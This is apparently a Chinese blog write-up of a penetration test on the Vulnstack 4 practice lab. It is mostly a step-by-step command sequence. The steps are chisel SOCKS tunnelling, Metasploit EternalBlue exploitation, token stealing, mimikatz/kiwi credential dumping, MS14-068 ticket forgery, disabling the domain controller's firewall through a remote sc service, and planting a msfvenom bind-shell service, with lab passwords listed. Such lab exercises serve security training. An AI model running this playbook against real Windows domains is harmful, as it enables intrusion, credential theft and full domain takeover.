一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.200.131)
靶 机:域控主机DC[192.168.183.130(仅主机的183网段,配置好的固定IP)];Web[(仅主机的183网段,192.168.183.128,配置好的固定IP);192.168.200.145(NAT网卡)];win7(仅主机的183网段,192.168.183.131,配置好的固定IP)。
密码信息(默认密码):
- Web服务器:ubuntu/ubuntu
- 域成员主机:douser/Dotest123
- 域控主机默认密码:administrator/Test2008
- 域控主机修改后的密码:Admin123456
2、注意事项
- 设置一个仅主机网卡,网段为183;每台主机的仅主机网卡使用这个即可。设置完成三台主机即可互相ping通。
- 域内主机win7无法以管理员权限运行文件, 提示“目前没有可用的登录服务器处理登录请求”,不过仅主机网卡即可通信,无伤大雅。
- Web主机ubuntu需要手动开启环境s2-045、CVE-2017-12615、CVE-2018-12613,命令如下:
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d
开启后即完成了环境搭建
3、使用工具/软件
Kali: cs服务器(teamserver)、arp-scan(主机探测)、nmap(端口和服务扫描)、gobuster (目录遍历)、chisel(内网代理)、gunzip(解压gz文件)、msfconsole(内网渗透和漏洞利用)、kiwi(获取密码信息、msf的模块)
Cobalt Strike4.7版本(狐狸工具箱8.0)、mobaxterm(shell管理)、railgun(端口扫描)、MS14-68.exe(漏洞exp)、mimikatz.exe(域渗透工具)
测试网址:
http://192.168.200.145:2001;http://192.168.200.145:2002;http://192.168.200.145:2003
参考文章:https://www.cnblogs.com/miraitowa666/p/14841135.html
二、测试目的
做代理攻击内网,获取内网主机shell,利用漏洞攻击域控,获取域控权限。
三、操作过程
这里接着上篇文章写,已经获取到了web靶机ubuntu的root权限,可以ssh登录了。
地址-->红日靶场vulnstark 4靶机的测试报告[细节](一)-CSDN博客
4、内网代理
怎样算进入内网呢?靶机的web服务器ubuntu在外网能访问到,可以通过该机转发到内网环境,访问内网(域控服务器和域控主机)。这就需要将外网可访问的web机及其指定端口作为我们的代理,通过代理就可以访问内网的域成员机,要点在于权限维持。如果没有代理端口稳定持久性转发流量,而直接使用拿下的web服务器作为跳板,则漏洞的利用一般会很不稳定甚至很难连通,难以有效利用。
msf内置了socks模块,在session但基础上配置路由,调用即可使用,但是速度和稳定性都很差,一般不直接单独使用。
代理方法:chisel+msf方法攻入内网
chisel工具地址:https://github.com/jpillora/chisel
Chisel可用来搭建内网隧道,类似于常用的frp和nps之类的工具。chisel可以进行端口转发、反向端口转发以及Socks流量代理,使用go语言编写,支持多个平台使用,其使用SSH加密,有比较好的安全性。具有断开等待和重连机制,服务端与客户端一体,稳定性好。
在ubuntu靶机,使用chisel作为服务端server
我使用mobaxterm直接上传文件到/root/目录
gunzip chisel_1.10.1_linux_amd64.gz
mv chisel_1.10.1_linux_amd64 chisel_1.10.1
chmod +x chisel_1.10.1
./chisel_1.10.1 server -p 2333 --socks5
在攻击机kali开启客户端client
gunzip chisel_1.10.1_linux_amd64.gz
mv chisel_1.10.1_linux_amd64 chisel_1.10.1
chmod +x chisel_1.10.1
./chisel_1.10.1 client 192.168.200.145:2333 socks
这样攻击机kali1080端口开启了socks5监听,实现了ubuntu靶机的2333端口的流量转发到攻击机kali的1080端口
5、内网信息收集
可以使用mobaxterm的网络工具探测存活主机
内网有三台机器:192.168.183.128(ubuntu)、192.168.183.130、192.168.183.131
此时msf已设置好SOCKS 5代理
可以使用railgun工具扫描端口,地址如下:
解压密码:railgun
扫描常见的81个端口
扫描结果也可以导出为excel
192.168.183.130:135、137、389、445、88
192.168.183.131:135、445
130主机开启了389端口,该端口通常是域控服务器开启的端口,130可能就是域控服务器
6、横向移动
192.168.183.131主机开放了445端口,尝试MS17-010漏洞(永恒之蓝)。
msf全局把代理指向127.0.0.1:1080(攻击机1080端口进行socks5监听,前面配好的不要关)。
setg Proxies socks5:127.0.0.1:1080
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set AutoRunScript post/windows/manage/migrate
set rhost 192.168.183.131
set lport 4444
run
成功利用永恒之蓝漏洞,获取meterpreter
查看系统权限,获取了SYSTEM权限
192.168.183.130主机开放了445端口,尝试MS17-010漏洞。
search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.130
set lport 4444
run
但是域控服务器利用永恒之蓝失败,很多次都这样,放弃。
很可能域控服务器防火墙开着。
7、域内信息搜集
使用131主机进行域内信息搜集
shell
ping demo.com
可以看到dns解析为:192.168.183.130,域控服务器的IP是:192.168.183.130
使用smart_hashdump获取内网密码哈希
使用该模块需要靶机为SYSTEM权限
run post/windows/gather/smart_hashdump
但这不是域控服务器,Administrator密码是假的[空密码],信息没什么用
进行域内渗透
解决乱码问题的命令:
chcp 65001
net view /domain #查看域中其他主机名称
net view /domain:DEMO #查看域中主机
两台主机,win7是本机、另一台是域控服务器
\\TESTWIN7-PC
\\WIN-ENS2VR5TR3N
net localgroup administrators #查看本地管理员组
net group "domain controllers" /domain #查看域控主机的名字
但是被拒绝连接了,这需要域用户才能访问,非域用户没有权限执行命令,需要降低权限到普通域用户,或者假冒普通用户,如DEMO/douser令牌
ps命令查看vmtoolsd.exe的进程id
ps
盗用域用户权限
steal_token 2804
再次whoami查看权限, 已经变成了demo\douser域用户权限
查看完整域名
wmic computersystem get domain
查看域中的用户
net group "domain users" /domain
存在三个域用户:
Administrator、douser、krbtgt
krbtrt 即域Kerberos账户。Kerberos是西方神话中守卫地狱之门的三头犬的名字。只所以使用这个名字是因为Kerberos需要三方的共同参与,才能完成一次事务处理。
Windows活动目录中使用的客户/服务器认证协议,为通信双方提供双向身份认证。相互认证或请求服务的实体被称为委托人(principal)。参与的中央服务器被称为密钥分发中心(简称KDC)。KDC有两个服务组成:身份验证服务(Authentication Server,简称AS)和票据授予服务(Ticket Granting Server,简称TGS)。在Windows域环境下,身份验证服务和票据授予服务可同时运行在任何可写域控服务器上。Kerberos黄金票据或者认证票据是有效的伪造TGT,它作为TGS-REQ的一部分被发送到域控服务器以获得服务票据。
whoami /all
查看用户的sid
systeminfo
查看系统信息,补丁信息
没有打MS14-68的漏洞补丁,补丁号:KB3011780
可能存在该漏洞,该漏洞危害很大,可能允许攻击者将未经授权的域用户账户的权限,提权到域管理员的权限。
8、获取域控管理员权限
进攻域控192.168.183.130
回到meterpreter使用命令rev2self来恢复系统最高权限
rev2self
sometimes最高用户权限执行mimikatz会报错,还需要假冒系统用户的令牌。
载入kiwi模块
列出所有凭据
creads_all
douser/Dotest123
或者使用mimikatz一样的,靶机需要上传mimikatz.exe,这个靶机是桌面上给了一个的
Mimikatz是法国人Gentil Kiwi写的一款windows平台下的轻量级调试器,于2014年4月发起。它的功能非常强大,支持从windows进程lsass.exe 里猎取windows处于active状态账号明文密码、哈希、PIN码和Kerberos凭证,以及pass-the-hash、pass-the-ticket、build Golden tickets等数种黑客技术,还可以本地提权等操作,如果成功则拥有域管理权限,可任意访问域中所有机器,在内网中杀伤力很大。
mimikatz.exe sekurlsa::logonpasswords
使用MS14-069.exe生成票据,需要普通用户的sid
MS14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130
成功生成票据文件
使用mimikatz注入票据
mimikatz.exe
kerberos::purge #清空当前主机中所有凭证,否则会影响凭证伪造
kerberos::list #查看当前机器凭证
kerberos::ptc <生成的票据文件> #将票据注入到内存中
可以看到成功将票据注入了内存
进行网络连接域控服务器判断是否攻入域控
net use \\WIN-ENS2VR5TR3N
dir \\WIN-ENS2VR5TR3N\c$
可以看到成功进入域控服务器,看到了域控服务器的文件,也就是拥有了域管理员权限
9、上线域控服务器
使用sc命令关闭域控的防火墙
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall
该命令使用sc设置了一个unablefirewall服务,调用路径中是停止防火墙的命令。
启动该服务时,服务未响应是正常的。
此时,关闭了防火墙,那么就可以用永恒之蓝直接上线了
setg Proxies socks5:127.0.0.1:1080
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set AutoRunScript post/windows/manage/migrate
set rhost 192.168.183.130
set lport 1888
run
不过这样打靶学到太少,尝试使用msf生成正向连接,获取shell。
使用msfvenom生成正向连接payload
msfvenom -p windows/x64/meterpreter/bind_tcp lport=5555 -f exe-service -o bind.exe
上传到131主机
upload bind.exe C:\\Windows\\system32
再将exp从131主机复制到域控服务器c盘
xcopy bind.exe \\WIN-ENS2VR5TR3N\c$
dir \\WIN-ENS2VR5TR3N\c$
可以看到成功复制
靶机创建服务执行bind.exe
sc \\WIN-ENS2VR5TR3N create bind3 binpath="C:\\bind.exe"
sc \\WIN-ENS2VR5TR3N start bind3
kali开启一个新窗口,设置msf正向监听(后一步执行,运行直接能监听到shell)
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 5555
set rhost 192.168.183.130
run
而且是SYSTEM权限
可以直接使用kiwi获取administrator的密码
load kiwi
creds_all
这个密码是修改过的,成功获取正确密码
为了执行域命令,需要获取域管理员权限
ps
steal_token 2196
getuid
四、结论
攻击内网需要配置内网代理,好在本地对靶机进行渗透;ms14-68漏洞有很大的危害,可以直接拿下域控的权限;mimikatz工具功能十分强大,几条命令即可控制域控的票据;通过这个靶场对内网有更深入了解;msf功能也是十分强大。
下篇文章会获取黄金票据,进行权限维持和痕迹清理操作,最后一篇了。明天发哈~(2024.12.07)
标签:vulnstark,测试报告,主机,chisel,192.168,域控,服务器,靶机,权限 From: https://blog.csdn.net/2301_79698171/article/details/144306473